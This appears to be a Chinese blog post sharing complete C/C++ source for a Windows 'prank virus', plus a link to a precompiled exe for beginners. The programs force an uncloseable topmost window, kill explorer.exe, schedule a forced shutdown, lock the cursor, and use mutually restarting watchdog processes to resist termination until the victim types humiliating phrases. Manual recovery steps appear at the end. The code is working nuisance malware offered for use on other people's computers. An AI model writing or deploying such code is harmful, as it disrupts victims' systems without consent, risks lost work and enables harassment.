㊀程序介绍
这是本人看到的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪。
本次更新:要求运行程序的人手动输入“我是猪”三个字
㊁程序截图
1 本程序的窗口会自动保持最前
2 无法关闭本窗口
㊂代码展示:
#include <Windows.h>
#include <cstdio>
#define BUTTON_ID 10011 /*按钮ID*/
int chang, kuan;
HWND hwnd; /*实例化一个句柄*/
char title[100] = "哈哈哈!!!你被耍了";
HDC hdc ;
PAINTSTRUCT ps ;
RECT rect;
int print( char words[] )
{
hdc = BeginPaint(hwnd, &ps);
/* TODO: Add any drawing code here... */
GetClientRect(hwnd, &rect);
DrawText(hdc, words, strlen(words), &rect, DT_CENTER);
EndPaint(hwnd, &ps);
}
int ckzq()/*刷新窗口*/
{
HWND hForeWnd = NULL;
HWND hWnd= FindWindow(NULL, title);
DWORD dwForeID;
DWORD dwCurID;
hForeWnd = GetForegroundWindow();
dwCurID = GetCurrentThreadId();
dwForeID = GetWindowThreadProcessId( hForeWnd, NULL );
AttachThreadInput ( dwCurID, dwForeID, TRUE);
ShowWindow ( hWnd, SW_SHOWNORMAL );
SetWindowPos ( hWnd,
HWND_TOPMOST,
0,0,0,0,
SWP_NOSIZE|SWP_NOMOVE );
SetWindowPos ( hWnd,
HWND_NOTOPMOST,
0,0,0,0,
SWP_NOSIZE|SWP_NOMOVE );
SetForegroundWindow( hWnd );
AttachThreadInput ( dwCurID, dwForeID, FALSE);
}
int moddle( int x, int len )
{
x = x/2;
x = x-len;
return x;
}
int yndesktop;
int desk()
{
system ( "explorer.exe" );
}
int kenren()
{
int _exit = 0;
MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
auto yn = MessageBox(NULL, "在那个框框中输入“我是猪 ”","想退出就乖乖听话", MB_ICONQUESTION|MB_OK);
}
/* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wp,LPARAM lp)
{
static HWND btnWnd1;
static bool flag=false;
char szHello[]="哈哈哈!你被耍了";
static HWND hBtn;
static HWND hEdt;
switch(message)
{
case WM_CREATE:
{
btnWnd1 = CreateWindow(TEXT("BUTTON"),
TEXT("X"),
WS_VISIBLE|WS_CHILD, /*按钮属性 */
chang-50,kuan-600, /*按钮位置 */
25,25, /*按钮大小 */
hwnd, /*窗口信息 */
(HMENU)BUTTON_ID,/*按钮子窗口ID*/
0,0);
hEdt = CreateWindow(TEXT("EDIT"), /*创建输入框*/
TEXT("输入你的答案"), /*输入框初始文字*/
WS_CHILD|WS_VISIBLE|WS_BORDER,/*输入框属性*/
moddle( chang, 100 ), moddle( kuan, 40 ), /*输入框位置*/
200, 40, /*输入框大小*/
hwnd, /*窗口信息*/
NULL, NULL, NULL); /*占位指针*/
hBtn = CreateWindow(TEXT("BUTTON"),
TEXT("确定"),
WS_CHILD|WS_VISIBLE,
moddle( chang, 100 )+50, moddle( kuan, 40 )+50,
80, 20,
hwnd,
NULL, NULL, NULL);
break;
}
case WM_PAINT:
{
print ( "哈哈哈!你被耍了" );
break;
}
case WM_COMMAND: /*按钮消息WM_COMMAND来处理*/
{
int id = GetDlgCtrlID(hEdt);
switch(id-wp)
{
case 0:
{
char buf[256];
GetDlgItemText(hwnd, id, buf, 255);
if (strcmp( "我是猪", buf ) == 0)
{
system ( "cls" );
printf ( "结果:你已承认你是猪" );
if ( yndesktop == 1 )
{
MessageBox(NULL, "既然你都已经听话了,那我把桌面还给你","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
desk();
MessageBox(NULL, "稍等一下,我马上就走","",MB_ICONEXCLAMATION|MB_OK);
printf ( "%d", 1/0 );
}
MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
printf ( "%d", 1/0 );
}
else
{
system ( "taskkill /f /im explorer.exe" );
yndesktop = 1;
system ( "cls" );
MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);
return 0;
}
}
break;
}
switch(LOWORD(wp)) /*wParam的低字节为点击的按钮的ID*/
{
case BUTTON_ID:
{
kenren();
flag = !flag;
break;
}
default:break;
}
break;
}
case WM_DESTROY:
{
PostQuitMessage(0);
return 0;
}
default:break;
}
return DefWindowProc(hwnd,message,wp,lp);
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/
system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/
system ( "cls" );
WNDCLASS wndcls; /*实例化*/
wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/
wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/
wndcls.hbrBackground = (HBRUSH)GetStockObject( BLACK_BRUSH ); /*背景颜色,
GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/
wndcls.hCursor = LoadCursor(NULL, IDC_WAIT); /*光标的类型 */
wndcls.hIcon = LoadIcon(NULL, IDI_ERROR); /*窗口图标 */
wndcls.hInstance = hInstance; /*应用程序的实例号 */
wndcls.lpfnWndProc = WndProc; /*窗口过程函数 */
wndcls.lpszClassName = "你被耍了"; /*类名 */
wndcls.lpszMenuName = NULL; /*菜单名 */
wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/
int x = GetSystemMetrics( SM_CXFULLSCREEN );
int y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/
chang = x - 200;
kuan = y - 200;
RegisterClass(&wndcls); /*注册窗口类*/
hwnd = CreateWindow("你被耍了",
title,
WS_CLIPCHILDREN|WS_CLIPSIBLINGS|WS_POPUP,/*窗口风格*/
100,100,
chang,kuan,
NULL,NULL,
hInstance,
NULL); /*建立一个窗口*/
ShowWindow(hwnd, SW_SHOWNORMAL); /*显示窗口*/
UpdateWindow(hwnd); /*更新窗口*/
MSG msg; /*消息机制*/
while (GetMessage(&msg, NULL, 0, 0)) /*消息循环*/
{
ckzq(); /*每传来一次消息, 就刷新窗口, 以保证窗口最前*/
TranslateMessage(&msg); /*传来的消息翻译*/
DispatchMessage(&msg);
}
return msg.wParam;
}
㊃最后还有几个编译时要注意的地方:
1 编译设置
连接器选项 添加 -lgdi32
编译器选项 添加 -std=c++11
㊄ 其他
1 我的编译教程不够详细,无法编译
作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。
1 快速下载
2 限速下载提取码:ucv6
然后,我又看到了一个升级版,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:
第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
void po()
{
if(getProcess("整人代码-防护.exe") == 0){
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-防护2.exe") == 0){
system("start 整人代码-防护2.exe");
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main()
{
po();
system("taskkill /f /t /im explorer.exe");
string in;
po();
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";
cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:";
cin>>in;
po();
if(in == "我是猪"){
cout<<"这是一个事实,哈哈哈\n";
po();
Sleep(5000);
po();
cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
cin>>in;
if(in == "我是大傻子"){
po();
cout<<"真乖,哈哈哈哈哈哈\n";
Sleep(1000);
po();
cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
po();
cout<<"很勇啊你,让我帮你关机吧!\n";
system("shutdown -s -t 120");
cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
po();
cin>>in;
if(in == "我是大傻猪"){
cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
po();
system("shutdown -a");
Sleep(3000);
po();
cout<<"啥?\n";
Sleep(3000);
po();
cout<<"我忘了什么东西?\n";
Sleep(3000);
po();
cout<<"恢复啥?\n";
Sleep(3000);
po();
cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
cin>>in;
po();
if(in == "我是世上独一无二绝无仅有的超级大傻猪"){
cout<<"真乖,看我咻---";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
system("start 整人代码-kill.exe");
return 0;
}
第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main()
{
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1){
if(getProcess("整人代码.exe") == 0){
system("start 整人代码.exe");
}
if(getProcess("整人代码-防护2.exe") == 0){
system("start 整人代码-防护2.exe");
}
if(getProcess("整人代码-kill.exe") == 1){
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}
第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main()
{
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1){
if(getProcess("整人代码-防护.exe") == 0){
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-kill.exe") == 1){
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}
第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
using namespace std;
int main()
{
while(getProcess("整人代码.exe")){
system("taskkill /f /t /im 整人代码.exe");
}
return 0;
}
作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:
第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束
第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。
第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。
作用:
第一步:关闭程序
第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键
第三步:取消关机